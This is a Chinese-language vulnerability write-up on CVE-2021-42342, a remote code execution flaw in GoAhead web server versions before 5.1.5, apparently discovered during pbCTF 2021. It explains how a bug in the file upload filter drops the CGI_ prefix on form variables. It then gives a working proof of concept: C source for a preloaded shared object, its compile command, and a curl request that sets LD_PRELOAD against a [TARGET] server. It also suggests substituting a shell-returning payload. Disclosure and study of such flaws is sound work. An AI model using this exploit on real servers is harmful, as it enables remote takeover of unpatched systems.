William Bowling 最近发现了 Goahead Web 服务器中的一个漏洞,可导致被利用服务器上的远程代码执行(RCE)。
该问题存在于 5.1.5 版本之前,根据 Shodan 统计,影响约 280 万台互联网服务器。
现在已经有了 CVE:[https://nvd.nist.gov/vuln/detail/CVE-2021-42342]
该 RCE 的成因是:如果启用了文件上传过滤器,那么用户不仅可以上传文件,还可以同时设置用户表单变量。
这些变量最终会变成操作系统的环境变量。这在正常情况下不是问题,因为在正常的表单上传情况下,环境变量会被加上 CGI_ 前缀(默认)。然而,如果启用了文件上传过滤器,代码中的一个错误会导致这个前缀被遗漏,从而通过环境变量加文件实现即时 RCE。
以下代码只是在远程服务器上打印 "Hello World",但实际中可以修改为任何内容:
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello World!\n", 14);
}
编译使用:
gcc -fPIC -shared -o poc.so poc.c -nostartfiles
现在我们可以向服务器发送文件了。可以使用 curl 完成:
curl -X POST http://[TARGET]/cgi-bin/ -F "LD_PRELOAD=/proc/self/fd/0" -F file='@poc.so;encoder=base64'
将 [TARGET] 替换为目标服务器的域名/IP。
你可能会看到服务器返回错误,但可以尝试使用另一个共享对象,比如能给你返回一个 Shell 的 👍
goahead 5.1.5 版本已修复,详情见:[https://github.com/embedthis/goahead/issues/305]
该问题最初由 Perfect Blue CTF 团队的 William Bowling 发现。
在 pbCTF 2021 中,一个挑战使用了当时存在的 goahead 服务器(5.1.4 版本),我们与 Kalmarunionen CTF Team 一起发现了代码中同样的 0day 问题(当时尚未向作者披露)。